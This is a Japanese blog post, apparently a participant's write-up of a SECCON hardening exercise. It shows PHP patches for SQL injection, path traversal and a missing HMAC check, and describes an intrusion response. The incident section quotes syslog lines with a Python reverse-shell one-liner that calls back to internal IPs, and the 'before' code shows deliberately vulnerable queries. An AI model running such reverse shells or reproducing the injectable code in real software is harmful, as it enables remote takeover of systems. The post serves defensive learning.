LoginSignup

This article is a Private article. Only a writer and users who know the URL can access it.
Please change open range to public in publish setting if you want to share this article with other users.

Mini Hardening@SECCON 参加記

Last updated at Posted at 2023-12-23

セットアップ

  • ポートフォワーディング用のバッチファイルを作成しておいた
  • Web用
set SSH_ADDR=18.178.21.94
set REMOTE_ADDR=172.31.103.40
set REMOTE_PORT=80
set LOCAL_PORT=8080
set USER_NAME=rocky
set PRIVATE_KEY=../team03.pem
set URL="http://game.team-3.mini.local"

ssh -i %PRIVATE_KEY% -L %LOCAL_PORT%:%REMOTE_ADDR%:%REMOTE_PORT% %USER_NAME%@%SSH_ADDR%
  • SSH用
set SSH_ADDR=18.178.21.94
set REMOTE_ADDR=172.31.103.40
set REMOTE_PORT=22
set LOCAL_PORT=8022
set USER_NAME=rocky
set PRIVATE_KEY=../team03.pem
set URL="http://game.team-3.mini.local"

ssh -i %PRIVATE_KEY% -L %LOCAL_PORT%:%REMOTE_ADDR%:%REMOTE_PORT% %USER_NAME%@%SSH_ADDR%
  • トンネリングが途中で何回も切れたため、結果的にはバッチ化しておいてよかった
  • MySQLとRedis用も作ろうかと思ったが、アクセスしようと思うきっかけがなかった。

情報収集

  • /var/www/htmlにトップページがあるのがわかった
  • Dockerfileはhomeディレクトリのmini4-game-api-phpディレクトリにあった
  • WinSCPpublicフォルダを丸ごとローカルにコピーした
  • DB情報
mysql:
  host: "db"
  port: 3306
  dbname: "miniquest"
  user: "miniquest"
  password: "miniquest"
redis:
  host: "redis"
  port: 6379
  dbname: 0
  password: ""
stamina:
  recoverytime: 60
battle:
  secret: "miniquest"
  max_level: 99

PHPの修正

login.php

修正前

$pdo = connect_db();
$sql = "select * from player where user_name = '$user_name' and password = '$password'";
$login_stmt= $pdo->query($sql);
$row = $login_stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
    echo json_encode(array(
        "result" => "ng",
        "msg" => "Invalid your username and password."));
    exit();
}
$user_id = $row['id']; // Get User

修正後

$pdo = connect_db();
$sql = "SELECT * FROM player WHERE user_name = :username AND password = :password";
$login_stmt = $pdo->prepare($sql);

$login_stmt->bindParam(':username', $user_name, PDO::PARAM_STR);
$login_stmt->bindParam(':password', $password, PDO::PARAM_STR);

$login_stmt->execute();
$row = $login_stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
    echo json_encode(array(
        "result" => "ng",
        "msg" => "Invalid your username and password."
    ));
    exit();
}

$user_id = $row['id']; // Get User
  • セッションIDが推測されやすそうなものであったため、$user_idをシードとして利用するようにした

new_user.php

  • ブラインドSQLインジェクションの脆弱性がある
    修正前
// Duplicate Check


$dup_stmt = $pdo->query("select count(*) from player where user_name = '$user_name';");
$dup_count = $dup_stmt->fetchColumn();
if(0 < $dup_count){
    echo json_encode(array(
        "result" => "ng",
        "msg" => "Username is duplicate."));
    exit();
}

修正後

$stmt = $pdo->prepare("SELECT COUNT(*) FROM player WHERE user_name = :user_name");
$stmt->bindParam(':user_name', $user_name, PDO::PARAM_STR);
$stmt->execute();
$dup_count = $stmt->fetchColumn();

if (0 < $dup_count) {
    echo json_encode(array(
        "result" => "ng",
        "msg" => "Username is duplicate."
    ));
    exit();
}

upload.php

  • パストラバーサルとRCEの脆弱性
    修正前
$target_file = "./images/players/" . $request_json->file_name;

修正後


$target_dir = "./images/players/";
$file_name = basename($request_json->file_name);

// Sanitize the file name to remove any path traversal characters
$file_name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $file_name);

// Validate the file name (example: checking extension)
$allowed_extensions = ['jpg', 'jpeg' ,'png', 'gif', 'svg'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($extension, $allowed_extensions)) {
    echo json_encode(array(
        "result" => "ng",
        "msg" => "Unsupported file type. You can only use jpg, png, gif and svg."));
    exit();
}

// Construct the safe target file path
$target_file = $target_dir . $file_name;

  • 修正前にウェブシェルがすでに埋め込まれいたため、削除した
    image.png

user_list.php

  • 誰でもユーザー一覧が参照できるため、adminアカウントを作成して、adminしか見れないようにした。
    • admin / adminadminadmin
  • 追記したコード
$session_id = $_COOKIE['session_id'];
$redis = connect_redis();
$user_id    = check_login($redis, $session_id);
if(!$user_id){
    # user was not logged in
    echo json_encode(array(
        "result" => "ng",
        "msg"    => "Invalid session ID.",
    ));
    exit();
}
if($user_id!=344){
    print("Admin only..");
    exit();
}
  • redisにアクセスするためのlibの関数などは別途include_onceした

delete.php

  • 同様にBANされないようにdelete.phpのAPIもadminしか消せないようにした。
  • 追記したコード
if($user_id != 344){
    echo json_encode(array(
        "result" => "ng",
        "msg" => "Admin only."
    ));
    exit();
}

player.php

  • $_COOKIE['user_data']はデバッグ目的のようなので、コードを削除する
  • 修正前
// check login status
// checking "user_data" is for debbuging only!
// checking "session_id" is mandatory!
if (isset($_COOKIE['user_data'])) {
    $user_id = $_COOKIE['user_data'];
} elseif (isset($_COOKIE['session_id'])) {
    $session_id = $_COOKIE['session_id'];
    $user_id = check_login($redis, $session_id);    
} else {
  • 修正後
if (isset($_COOKIE['session_id'])) {
    $session_id = $_COOKIE['session_id'];
    $user_id = check_login($redis, $session_id);    
} else {
    echo json_encode(array(
        "result" => "ng",
        "msg" => "Session ID is required."));
    exit();
}
  • パスワードが見えるので、伏字に。
'password' => '***', //$row['password'],

recovery.php

  • ユーザから来たゴールドを消費するため、固定に変更
  • 修正前
subtractgold($pdo, $user_id, $request_json->{'price'});
  • 修正後
subtractgold($pdo, $user_id, 100);

battle.php

  • hmacの比較がされていない
  • 修正前
function check_hmac($hmac, $hmac_old) {
  $ret = 1; # I will implement later...
  return $ret;
}
  • 修正後
function check_hmac($hmac, $hmac_old) {
  if($hmac===$hmac_old){
    return 1;
  }else{
    return 0;
  }
}

gacha.php

  • 消費ゴールドがなぜかユーザから送れる仕様なので、ハードコーディングしてしまう。
$result_gold = $current_gold - $post_gold;
$result_gold = $current_gold - 100;

インシデント

侵入された

  • 内部からなにかやられている。。
    image.png
  • トップページが改ざんされた
    image.png
  • 取り急ぎ、追加されたindex.htmlを削除したが原因が不明なため、再度攻撃される可能性がある
    image.png
  • warioというユーザが作成されているようだ
    image.png
  • プロセスにバックドアのPythonのコードが動作している
    image.png
  • cronで動作していた
    image.png
  • pkillでひとまず消したが十分なフォレンジックをしておらず、午前中に設置されていたWebシェルによるものなのか不明である
  • /var/log/syslogを確認したら3時間前(12:06頃)からcronジョブが埋め込まれていて、RCEの脆弱性を修正した後に発生しているため、別の脆弱性がある
Dec 23 03:06:01 game CRON[3136]: (root) CMD (   /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:09:01 game CRON[3154]: (root) CMD (   /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:10:01 game CRON[3245]: (root) CMD (test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r)
Dec 23 03:12:01 game CRON[3257]: (root) CMD (   /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:15:01 game CRON[3270]: (root) CMD (   /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:17:01 game CRON[3430]: (root) CMD (python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.31.200.92",5034));os.dup2(s.fileno(
),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
Dec 23 03:17:01 game CRON[3429]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Dec 23 03:17:01 game CRON[3431]: (root) CMD (python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.31.200.91",5034));os.dup2(s.fileno(
),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
Dec 23 03:17:01 game CRON[3434]: (root) CMD (python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.31.200.94",5034));os.dup2(s.fileno(
),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')

経験値がやたら高いユーザがいる

image.png

  • battle.phpの敵情報のhmacチェック機能がなかった。と思ったらありそう。。
if(
      ! check_hmac($player_info_json->{"hmac"}, $binfo_current_json->{"player"}->{"hmac"}) ||
      ! check_hmac($enemy_info_json->{"hmac"}, $binfo_current_json->{"enemy"}->{"hmac"})
    ){
      # incorrect hmac
      $lock_flag = 0;
      set_lock_flag($redis, $redis_lock_name, $lock_flag, $max_lock_time, __LINE__);
      $result["msg"] = "The hmac was not correct; line:" . __LINE__;
      echo json_encode($result);
      exit();
    }

ここで時間切れだった。

やったことのまとめ

  • 午前中(前半2時間)はシステムの理解(30分)、情報収集(20分)、そして脆弱性を見つけて直す(1時間)という作業をやった
  • 午後(後半2時間)からは派手なインシデントが勃発し、インシデントレスポンス、フォレンジックを実施したが、根本原因がわからないことが多く、コードの修正ではなく、対処のみした。
  • 結果、かなり消耗した

image.png

0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up